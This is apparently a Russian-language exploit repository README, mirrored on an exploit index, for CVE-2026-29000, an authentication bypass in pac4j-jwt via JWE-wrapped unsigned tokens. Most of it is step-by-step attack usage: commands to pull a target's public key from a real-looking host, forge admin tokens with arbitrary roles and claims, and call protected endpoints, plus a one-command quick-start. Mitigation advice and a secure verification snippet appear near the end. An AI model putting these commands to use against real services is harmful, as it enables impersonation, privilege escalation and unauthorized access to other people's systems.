## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROOTX111-CVE-2026-29000
# Эксплойт CVE-2026-29000
**Обход аутентификации JWT в pac4j-jwt через JWE-обёрнутый PlainJWT**
## Описание уязвимости
CVE-2026-29000 — это критическая уязвимость обхода аутентификации, затрагивающая pac4j-jwt версий ниже 4.5.9, 5.7.9 и 6.3.3. Уязвимость позволяет удалённым злоумышленникам подделывать токены аутентификации и обходить проверку подписи.
### Технические детали
Уязвимость существует в компоненте `JwtAuthenticator` при обработке зашифрованных JWT (JWE). Когда получен JWE-токен:
1. Сервер расшифровывает JWE с помощью своего закрытого ключа RSA
2. Расшифрованное содержимое раскрывает внутренний JWT
3. **УЯЗВИМОСТЬ** : Сервер извлекает claims из внутреннего JWT без проверки его подписи
4. Злоумышленники могут создать JWE, оборачивающий PlainJWT (алгоритм: "none") с произвольными claims
### Требования для атаки
* Доступ к открытому ключу RSA сервера (часто раскрывается через JWKS-эндпоинт)
* Возможность отправлять подделанные токены в уязвимое приложение
### Воздействие
* **Полный обход аутентификации** : Злоумышленники могут аутентифицироваться как любой пользователь
* **Повышение привилегий** : Можно назначать произвольные роли, включая роли администратора
* **Перехват сессий** : Можно выдавать себя за легитимных пользователей без учётных данных
### Затронутые версии
* pac4j-jwt < 4.5.9
* pac4j-jwt < 5.7.9
* pac4j-jwt < 6.3.3
## Содержимое репозитория
* `exploit.py` — скрипт эксплойта на Python для генерации вредоносных токенов
* `vulnerable_server.py` — демонстрационный сервер, имитирующий уязвимость
* `requirements.txt` — зависимости Python
* `README.md` — этот файл
## Установка
### Предварительные требования
* Python 3.8 или выше
* Менеджер пакетов pip
### Настройка
root@kitploit:~
# Клонировать репозиторий
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Установить зависимости
pip3 install -r requirements.txt
## Использование
### Шаг 1: Запуск уязвимого тестового сервера
root@kitploit:~
python3 vulnerable_server.py
Сервер будет:
* Генерировать пару ключей RSA (сохраняются в `server_private.pem` и `server_public.pem`)
* Запускаться на http://127.0.0.1:5000
* Раскрывать открытый ключ на http://127.0.0.1:5000/public-key
### Шаг 2: Получение открытого ключа цели
В реальном сценарии атаки получите открытый ключ с целевого сервера:
root@kitploit:~
# Скачать открытый ключ с JWKS-эндпоинта
curl http://target-server.com/jwks > target_jwks.json
# Или напрямую с эндпоинта открытого ключа
curl http://target-server.com/public-key > target_public.pem
Для тестового сервера:
root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem
### Шаг 3: Генерация вредоносного токена
Используйте скрипт эксплойта для создания JWE-обёрнутого PlainJWT:
root@kitploit:~
# Базовое использование — аутентификация как admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# Аутентификация как конкретный пользователь с несколькими ролями
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Добавление пользовательских claims
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"some-email@example.com","department":"IT"}'
# Сохранение токена в файл
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
### Шаг 4: Тестирование атаки
#### Тест против уязвимого сервера
root@kitploit:~
# Установить вредоносный токен (скопировать из вывода exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Доступ к публичному эндпоинту (должен работать)
curl http://127.0.0.1:5000/api/public
# Доступ к пользовательскому эндпоинту с вредоносным токеном (ОБХОД!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Доступ к административному эндпоинту с вредоносным токеном (ПОВЫШЕНИЕ ПРИВИЛЕГИЙ!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Ожидаемый успешный вывод с административного эндпоинта:
root@kitploit:~
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
## Полный рабочий процесс атаки
### Полные команды тестирования
root@kitploit:~
# 1. Установить зависимости
pip3 install -r requirements.txt
# 2. Запустить уязвимый сервер (в терминале 1)
python3 vulnerable_server.py
# 3. В новом терминале получить открытый ключ
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Сгенерировать вредоносный токен администратора
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Извлечь токен в переменную
TOKEN=$(cat token.txt)
# 6. Тест публичного эндпоинта (базовый уровень — аутентификация не требуется)
curl http://127.0.0.1:5000/api/public
# 7. Тест пользовательского эндпоинта (должен пройти с нашим вредоносным токеном)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Тест административного эндпоинта (УСПЕХ ЭКСПЛОЙТА — должен получить доступ к ограниченным данным)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Проверить, что ответ содержит флаг
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
### Продвинутые сценарии атаки
#### Сценарий 1: Выдача себя за конкретного пользователя
root@kitploit:~
python3 exploit.py --subject some-email@example.com --roles ROLE_USER --public-key server_public.pem
#### Сценарий 2: Повышение до администратора
root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
#### Сценарий 3: Внедрение пользовательских claims
root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"some-email@example.com","isVerified":true,"permissions":["*"]}'
## Параметры скрипта эксплойта
root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
## Как работает уязвимость
### Обычный поток JWT (безопасный)
root@kitploit:~
1. Клиент отправляет JWT с подписью
2. Сервер проверяет подпись открытым ключом
3. Если подпись действительна, извлекает claims
4. Предоставляет доступ на основе claims
### Уязвимый поток (CVE-2026-29000)
root@kitploit:~
1. Злоумышленник получает открытый ключ RSA сервера
2. Злоумышленник создаёт PlainJWT (alg: none) с произвольными claims
Пример: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. Злоумышленник шифрует PlainJWT с помощью JWE, используя открытый ключ сервера
4. Сервер успешно расшифровывает JWE
5. Сервер извлекает claims из внутреннего PlainJWT БЕЗ проверки подписи
6. Сервер предоставляет доступ на основе подделанных claims
### Почему это работает
Уязвимость возникает из-за того, что:
* JWE обеспечивает конфиденциальность, но не целостность внутреннего содержимого
* Сервер предполагает, что успешная расшифровка подразумевает подлинность
* PlainJWT (alg: none) не имеет подписи для проверки
* Claims считаются доверенными только потому, что были зашифрованы
## Смягчение последствий
### Для разработчиков
1. **Обновите pac4j-jwt** до версии 4.5.9, 5.7.9, 6.3.3 или более поздней
2. **Всегда проверяйте подписи** внутренних JWT после расшифровки JWE
3. **Отклоняйте PlainJWT** токены (алгоритм: "none")
4. **Проверяйте алгоритм** в заголовке JWT по белому списку
### Для системных администраторов
1. Немедленно обновите уязвимые приложения
2. Проверьте журналы аутентификации на предмет подозрительной активности
3. Просмотрите пользовательские сессии и отзовите подозрительные токены
4. Рассмотрите возможность внедрения дополнительных уровней аутентификации
### Безопасная реализация
root@kitploit:~
def verify_jwe_token_secure(token, private_key):
# 1. Расшифровать JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. Разобрать заголовок внутреннего JWT
header = parse_jwt_header(inner_jwt)
# 3. КРИТИЧЕСКИ ВАЖНО: Проверить, что алгоритм не "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. КРИТИЧЕСКИ ВАЖНО: Проверить подпись внутреннего JWT
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. Извлекать claims только после проверки
return extract_claims(inner_jwt)
## Контрольный список тестирования
* Установить зависимости: `pip3 install -r requirements.txt`
* Запустить уязвимый сервер: `python3 vulnerable_server.py`
* Получить открытый ключ: `curl http://127.0.0.1:5000/public-key > server_public.pem`
* Сгенерировать вредоносный токен: `python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem`
* Протестировать публичный эндпоинт: `curl http://127.0.0.1:5000/api/public`
* Протестировать пользовательский эндпоинт с токеном: `curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user`
* Протестировать административный эндпоинт с токеном: `curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin`
## Краткое руководство по началу работы
root@kitploit:~
# Установка и тестирование одной командой
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
## Ссылки
* Консультация по CVE-2026-29000
* Консультация по безопасности pac4j
* OWASP JWT Security Cheat Sheet
* RFC 7519 (JSON Web Token)
* RFC 7516 (JSON Web Encryption)
## Отказ от ответственности
Этот инструмент предоставляется только для образовательных целей и санкционированного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.
## Лицензия
Лицензия MIT — только для образовательных целей
## Автор
Исследователь безопасности Дата: 2026-03-16